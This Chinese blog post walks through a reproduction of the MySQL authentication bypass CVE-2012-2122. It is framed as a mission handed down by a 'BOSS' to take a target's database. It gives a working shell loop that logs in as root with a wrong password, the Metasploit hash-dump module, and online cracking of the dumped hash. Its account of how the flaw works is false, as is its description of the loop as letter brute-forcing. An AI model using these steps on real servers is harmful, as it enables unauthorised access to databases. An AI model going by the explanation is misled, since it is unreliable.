mysql身份认证绕过漏洞复现(CVE-2012-2122)

情景模拟

在某个夜黑风高的夜晚里,我开启了kali准备通往属于你的网络世界中,维护正义与和平,kali后连上了网络世界,进入了我的组织频道,由于时间差,正好那边是白天,我的上级给了我一个任务:

img

很显然,上级想要这个的数据库,我先不管他提供的信息,我先针对目标做一次简单的信息收集;

信息收集

使用kali中提供的工具nmap对这个目标进行简单扫描:nmap 192.168.3.100
image

​ 很显然,确实如BOSS所说,只看见22端口和3306端口的开放,根据回忆中的知识,22是ssd端口,提供远程登录了,如果可以跑出密码,估计BOSS也不会找我了,那么入手点就先从3306开始吧,3306端口是MySQL的默认端口,按照思路,可以尝试远程爆破登录MySQL,也就是跑弱口令了,方法和爆破ssh一样,先看一下MySQL是哪个版本的,是否存在漏洞。

image

​ 如图,我使用-sV(启用版本检测)参数扫描出MySQL版本为5.5.23,依稀记得这个版本似乎存在“mysql身份认证绕过漏洞(CVE-2012-2122)”

这个漏洞的细节涉及到 MySQL 服务器中的加密方式和验证流程。在 MySQL 5.1.61 之前的版本中,当用户使用带有非 ASCII 字符(如空格或其他特殊字符)的密码进行登录时,MySQL 服务器会截断密码,并仅使用第一个字符进行验证。这就意味着,如果用户提供了一个以正确字符开头的密码,后面跟着任意字符的字符串,即使后续字符错误,MySQL 服务器仍然会认为密码是正确的,并允许用户登录。

例如,假设用户的密码是 "password",但是攻击者提供的密码是 "p\x00assword"(\x00 是空字符),在此情况下,MySQL 服务器会截断密码,并只使用 "p" 进行验证,因此无论后面的部分是什么,都会认为密码是正确的。

这个漏洞允许攻击者绕过密码验证,以任何用户身份登录到 MySQL 服务器,并执行未经授权的操作。

受影响版本:

  • MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23
  • MySQL versions from 5.1.63, 5.5.24, 5.6.6

漏洞检测

​ 利用“mysql身份认证绕过漏洞(CVE-2012-2122)”的方法检测:

┌──(root㉿kali)-[/home/huxiaoyao]
└─# for i in `seq 1 100`; do for c in {a..z}; do mysql -uroot -pwrong -h 192.168.3.100 -P3306; done; done

命令解释:

  1. for i in `seq 1 100`;: 这个部分定义了一个循环,从 1 循环到 100。

  2. for c in {a..z};: 在每次循环中,它又定义了另一个循环,从字母 'a' 循环到 'z'。

  3. mysql -uroot -pwrong -h 192.168.3.100 -P3306;: 在内部循环中,它尝试使用 mysql 命令连接到 MySQL 数据库。具体地:

    • -uroot: 指定用户名为 root。
    • -pwrong: 指定密码为 wrong。
    • -h 192.168.3.100: 指定要连接的 MySQL 主机的 IP 地址为 192.168.3.100。
    • -P3306: 指定连接的端口号为 3306。

    由于密码是错误的,这个脚本实际上是在暴力破解 MySQL 数据库的 root 用户密码,尝试使用 26 个小写字母作为密码的一部分。

​ 结果如下,很显然,该漏洞存在。。

image

我可以查看一下是不是可以操作:

image

​ 很显然该有的操作,都是可以操作的;

其他利用方法

​ 除了直接写循环登录脚本外,我还可以采用msf提供的功能,msfconsole启动!!!

image

​ 前面提到过这个漏洞的编号“CVE-2012-2122”,可以在msf里面搜索一下:search CVE-2012-2122

image

​ 有这个漏洞脚本,尝试使用它:use auxiliary/scanner/mysql/mysql_authbypass_hashdump

image

​ 查看到有以上参数,只有rhost是空白的,其他都默认好了,我就只设置一下目标地址就好了:set rhost 192.168.3.100,然后运行起来:run

image

​ 在上图可以看到,目标已经成功解出,并且密码保存在/root/.msf/下面;

image

​ 拿第一个到解密平台进行解密:https://www.cmd5.com/

image

​ 直接就识别出来了,密码为passwd123;

​ 至此,BOSS的任务已经完成了,将任务给BOSS吧;

​ 恭喜任务完成,获得奖励:经验+1000,金币:+100

image

posted on 2024-05-04 00:14  狐小妖  阅读(473)  评论(0编辑  收藏  举报